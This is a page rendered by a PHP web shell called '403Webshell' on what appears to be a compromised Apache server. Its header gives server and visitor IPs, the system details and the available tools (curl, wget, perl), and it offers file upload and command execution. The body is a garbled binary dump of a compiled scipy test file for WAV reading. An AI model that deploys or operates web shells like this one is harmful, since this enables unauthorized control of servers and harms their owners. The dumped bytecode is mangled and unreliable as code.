403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/io/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/io/tests/__pycache__/test_wavfile.cpython-311.pyc
�

d�c�;�	�\�ddlZddlZddlmZddlZddlmZmZm	Z	m
Z
mZmZddl
Z
ddl
mZmZddlmZd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'd�Z(e
j)�*dgd���e
j)�*dgd ���e
j)�*d!d"d#g��e
j)�*d$d%d&g��e
j)�*d'd%d&g��d(�����������Z+dS))�N)�BytesIO)�assert_equal�assert_�assert_array_equal�break_cycles�suppress_warnings�IS_PYPY)�raises�warns)�wavfilec��tj�tj�t��d|��S)N�data)�os�path�join�dirname�__file__)�fns �=/usr/lib/python3/dist-packages/scipy/io/tests/test_wavfile.py�datafilers(��
�7�<�<������1�1�6�2�>�>�>�c��dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t|j	d��~��dS)N�FT�test-44100Hz-le-1ch-4bytes.wav��mmap�D�)i:�
r�readrrr�np�
issubdtype�dtype�int32�shape�r�filename�raters    r�test_read_1r(s�������3���\�(�8�"4�"4�4�@�@�@�
��d��T�5�!�!�!���
�d�j�"�(�3�3�4�4�4��T�Z��)�)�)��D��rc��dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t|j	d��~��dS)Nrztest-8000Hz-le-2ch-1byteu.wavr�@)i �)
rrrrrr r!r"�uint8r$r%s    r�test_read_2r-s�������2���\�(�8�"4�"4�4�@�@�@�
��d��T�4� � � ���
�d�j�"�(�3�3�4�4�4��T�Z��*�*�*��D��rc��dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t|j	d��~��dS)Nrz#test-44100Hz-2ch-32bit-float-le.wavrr�i�r+)
rrrrrr r!r"�float32r$r%s    r�test_read_3r1,s�������8���\�(�8�"4�"4�4�@�@�@�
��d��T�5�!�!�!���
�d�j�"�*�5�5�6�6�6��T�Z��*�*�*��D��rc��dD]�}t��5}|�tjd��d}tjt|��|���\}}ddd��n#1swxYwYt
|d��ttj	|j
tj����t
|jd��~��dS)Nrz,Chunk .non-data. not understood, skipping itz)test-48000Hz-2ch-64bit-float-le-wavex.wavri��)i�r+)
r�filterr�WavFileWarningrrrrr r!r"�float64r$)r�supr&r'rs     r�test_read_4r79s������
�
 �
 �	E�C��J�J�w�-�E�
G�
G�
G�B�H� ��h�x�&8�&8�t�D�D�D�J�D�$�		E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E����	E�	E�	E�	E�	�T�5�!�!�!���
�d�j�"�*�5�5�6�6�6��T�Z��*�*�*��D��s�A	A(�(A,	�/A,	c��dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t	|jj	dkptj	dko|jj	dk��t|jd��~��dS)	Nrz#test-44100Hz-2ch-32bit-float-be.wavrr�>�big�=r/)rrrrrr r!r"r0�	byteorder�sysr$r%s    r�test_read_5r>Is����
�
��8���\�(�8�"4�"4�4�@�@�@�
��d��T�5�!�!�!���
�d�j�"�*�5�5�6�6�6���
�$��+�M��
��0F�1L�04�
�0D��0K�	N�	N�	N��T�Z��*�*�*��D�
�
rc���dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��t|�
��d��t|d	d
��t|���d��~��dS)Nrztest-8000Hz-le-5ch-9S-5bit.wavrr*)�	��r��rr�)rrrrrr r!r"r,r$�max�minr%s    r�test_5_bit_odd_size_no_padrHXs�������3���\�(�8�"4�"4�4�@�@�@�
��d��T�4� � � ���
�d�j�"�(�3�3�4�4�4��T�Z��(�(�(�	�T�J�&��*�*�*�	�T�X�X�Z�Z��,�,�,��T�$�Z��%�%�%��T�X�X�Z�Z��#�#�#��D�!�rc���dD]�}d}tjt|��|���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��t|�
��d��t|d	d��t|���d
��~��dS)Nrztest-8000Hz-le-4ch-9S-12bit.wavrr*)r@��ri�rDi���)rrrrrr r!r"�int16r$rFrGr%s    r�test_12_bit_even_sizerMos�������4���\�(�8�"4�"4�4�@�@�@�
��d��T�4� � � ���
�d�j�"�(�3�3�4�4�4��T�Z��(�(�(�	�T�/�/��3�3�3�	�T�X�X�Z�Z�!4�5�5�5��T�$�Z��#�#�#��T�X�X�Z�Z�!5�6�6�6��D�!�rc	�f�d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��t|gd�gd	�gd
�gd�gd�g��dS)
N�test-8000Hz-le-3ch-5S-24bit.wavFrr*�rA��r)i�i�i���)i�i�i����rrr)i@i��?�)���rUir�r&r'rs   r�test_24_bit_odd_size_with_padrW�s���1�H���h�x�0�0�u�=�=�=�J�D�$���t�����B�M�$�*�b�h�/�/�0�0�0����V�$�$�$�����a� � � ���<�<�<�<�<�<�<�<�<�<�<�<�<�<�<�	>�?�?�?�?�?rc��d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��t	|dz�
����t|gd	���dS)
N�&test-8000Hz-le-1ch-10S-20bit-extra.wavFri�)�
rRri)
i�i�i��?i�i��i�i��i�i��i�)rrrrrr r!r"r#r$�anyrVs   r�test_20_bit_extra_datar\�s���8�H���h�x�0�0�u�=�=�=�J�D�$���t�����B�M�$�*�b�h�/�/�0�0�0����U�#�#�#�����a� � � ��T�E�\��� � �!�!�!���
�
�
�
�
�
�
�
rc�j�d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��gd�gd	�gd
�gd�gd�g}t||��dS)
N�test-8000Hz-le-3ch-5S-36bit.wavFrr*rPi���r)���l����`��i�)���l����`��i�rS)�l`��i)�`��rbi �
rrrrrr r!r"�int64r$�r&r'r�corrects    r�test_36_bit_odd_sizerg�s���0�H���h�x�0�0�u�=�=�=�J�D�$���t�����B�M�$�*�b�h�/�/�0�0�0����V�$�$�$���	�!�1�%�%�%�N�M�M�M�M�M�M�M�M�M�M�M�M�M�M�	O�G���w�����rc�j�d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��gd�gd	�gd
�gd�gd�g}t||��dS)
N�test-8000Hz-le-3ch-5S-45bit.wavFrr*rPi��r)r_l�������i�)r`l�������i��rS)ral���i)����rjircres    r�test_45_bit_even_sizerk�s���0�H���h�x�0�0�u�=�=�=�J�D�$���t�����B�M�$�*�b�h�/�/�0�0�0����V�$�$�$������#�#�#�L�K�K�K�K�K�K�K�K�K�K�K�K�K�K�	M�G���w�����rc�j�d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��t|dzd��gd�gd	�gd
�gd�gd�g}t||��dS)
N�test-8000Hz-le-3ch-5S-53bit.wavFrr*rPi�r)r_l����x���i�)r`l����x���i���rS)ralx���i)�x���rnircres    r�test_53_bit_odd_sizero�s���0�H���h�x�0�0�u�=�=�=�J�D�$���t�����B�M�$�*�b�h�/�/�0�0�0����V�$�$�$�����q�!�!�!�I�H�H�H�H�H�H�H�H�H�H�H�H�H�H�	J�G���w�����rc�P�dD]�}d}tjt|��d���\}}t|d��t	tj|jt
j����t|j	d��gd�gd�gd	�gd
�gd�g}t||��~��dS)Nrztest-8000Hz-le-3ch-5S-64bit.wavFrr*rP)r_l�����������)r`l�����������rS)ral�����)�����rtr+rc)rr&r'rrfs     r�test_64_bit_even_sizerus�������4���\�(�8�"4�"4�5�A�A�A�
��d��T�4� � � ���
�d�j�"�(�3�3�4�4�4��T�Z��(�(�(�J�I�I�I�I�I�I�I�I�I�I�I�I�I�I�	K��	�T�7�#�#�#��D�'�rc��dD]V}ttd���5tjt	|��d���\}}ddd��n#1swxYwY�WdS)N>rOr^rirmrYzmmap.*not compatible��matchTr)r
�
ValueErrorrrrrVs   r�test_unsupported_mmaprzs���?�E�E��
�J�&<�
=�
=�
=�	E�	E� ��h�x�&8�&8�t�D�D�D�J�D�$�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E����	E�	E�	E�	E��E�Es�'A�A	�A	c���dD]q\}}tjt|��d���\}}tjt|��d���\}}t||��t||���rdS)N>�ztest-44100Hz-be-1ch-4bytes.wavr�ztest-8000Hz-be-3ch-5S-24bit.wavrOFr)rrrr)�rifx�riff�rate1�data1�rate2�data2s      r�	test_rifxr�%s���<�#�#�
��d��|�H�T�N�N��?�?�?���u��|�H�T�N�N��?�?�?���u��U�E�"�"�"��U�E�"�"�"�"�#�#rc��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)Nrzexample_1.nc�rbz CDF.*'RIFF' and 'RIFX' supportedrwr��openrr
ryrr�rr&�fps   r�test_read_unknown_filetype_failr�1s	���,�,��!��
�(�8�$�$�d�
+�
+�	,�r��
�*L�M�M�M�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,�4�A5�A�A5�A"�"A5�%A"�&A5�5A9	�<A9	c��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)NrzTransparent Busy.anir�zNot a WAV file.*ACONrwrr�r�s   r� test_read_unknown_riff_form_typer�:s	���,�,��)��
�(�8�$�$�d�
+�
+�	,�r��
�*@�A�A�A�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,r�c��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)Nrz!test-8000Hz-le-1ch-1byte-ulaw.wavr�z2Unknown wave file format.*MULAW.*Supported formatsrwrr�r�s   r�test_read_unknown_wave_formatr�Cs���,�,��6��
�(�8�$�$�d�
+�
+�	,�r��
�+,�-�-�-�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,r�c�J�dD]�}d}tt|��d��5}ttjd���5tj||���\}}|jdksJ�|dksJ�d|d<ddd��n#1swxYwYddd��n#1swxYwY��dS)	Nrz(test-44100Hz-le-1ch-4bytes-early-eof.wavr�zReached EOFrwrrr)r�rrrr4r�size)rr&r�r'rs     r�test_read_early_eof_with_datar�Ms3������=��
�(�8�$�$�d�
+�
+�	�r��w�-�]�C�C�C�
�
�$�\�"�4�8�8�8�
��d��y�1�}�}�}�}��u�}�}�}�}���Q��
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���s5�B�4B�4B�B�B�B�B�B	�B	c��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)Nrz0test-44100Hz-le-1ch-4bytes-early-eof-no-data.wavr�zUnexpected end of file.rwrr�r�s   r�test_read_early_eofr�Zs	���,�,��E��
�(�8�$�$�d�
+�
+�	,�r��
�*C�D�D�D�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,r�c��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)Nrz/test-44100Hz-le-1ch-4bytes-incomplete-chunk.wavr�zIncomplete chunk ID.*b'f'rwrr�r�s   r�test_read_incomplete_chunkr�cs	���,�,��D��
�(�8�$�$�d�
+�
+�	,�r��
�*E�F�F�F�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,r�c��dD]}}d}tt|��d��5}ttd���5t	j||���ddd��n#1swxYwYddd��n#1swxYwY�~dS)Nrz,test-8000Hz-le-3ch-5S-24bit-inconsistent.wavr�zheader is invalidrwrr�r�s   r�test_read_inconsistent_headerr�ls	���,�,��A��
�(�8�$�$�d�
+�
+�	,�r��
�*=�>�>�>�
,�
,���R�d�+�+�+�+�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,�
,����
,�
,�
,�
,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��,�,r��dt_str)z<i2z<i4z<i8z<f4z<f8z>i2z>i4z>i8z>f4z>f8z|u1�channels)rsr+rAr'r*i}rFT�realfilec�J�tj|��}|r#t|�d����}nt	��}tj�d|��}|dkr|dd�df}|jdkr|�|��}n|dz�|��}tj
|||��tj||���\}	}
t||	��t|
jjdv|
j�	��t||
��|rd|
d<n8t!jt$d
���5d|
d<ddd��n#1swxYwY|r7|r7t&r2t(jdkr$t-��t-��dSdSdSdSdS)
Nztemp.wav�drsr�frEr)�<r;�|)�msgz	read-onlyrw�win32)r r"�strrr�random�rand�kind�astyper�writerrrr<r�pytestr
ryr	r=�platformr)r�rr'r�r��tmpdirr"�tmpfilerr�r�s           r�test_write_roundtripr�ys���
�H�V���E����f�k�k�*�-�-�.�.����)�)��
�9�>�>�#�x�(�(�D��1�}�}��A�A�A�q�D�z���z�S����{�{�5�!�!����S�� � ��'�'���M�'�4��&�&�&��<��d�3�3�3�L�E�5���u�����E�K�!�_�4�%�+�F�F�F�F��t�U�#�#�#�����a���
�]�:�[�
9�
9�
9�	�	��E�!�H�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���D��W�����)@�)@�	����������	������)@�)@s�E�E� E),rr=�ior�numpyr �
numpy.testingrrrrrr	r�r
r�scipy.iorrr(r-r1r7r>rHrMrWr\rgrkrorurzr�r�r�r�r�r�r�r��mark�parametrizer��rr�<module>r�s���	�	�	�	�
�
�
�
�����������E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�
�
�
�
� � � � � � � � �������?�?�?�
�
�
�
�
�
�
�
�
�
�
�
� ������.���,?�?�?�.���< � � �0 � � �0 � � �0���0E�E�E�	#�	#�	#�,�,�,�,�,�,�,�,�,�
�
�
�,�,�,�,�,�,�,�,�,������$N�$N�$N�O�O������Y�Y�Y�/�/������$���/�/������%���/�/������e�T�]�3�3�!�!�4�3�0�/�0�/�0�/�O�O�!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit